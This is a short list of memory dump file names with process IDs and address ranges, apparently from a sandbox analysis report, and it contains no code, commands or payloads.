                                                                                                                        memory/4092-222-0x0000000001A40000-0x0000000001A5E000-memory.dmp

                                                                                                                        memory/4464-227-0x00007FFDCB0D0000-0x00007FFDCBB91000-memory.dmp

                                                                                                                        memory/4464-228-0x00007FFDCB0D0000-0x00007FFDCBB91000-memory.dmp

                                                                                                                        memory/4720-206-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp

                                                                                                                        memory/4720-230-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp

                                                                                                                        memory/4720-134-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp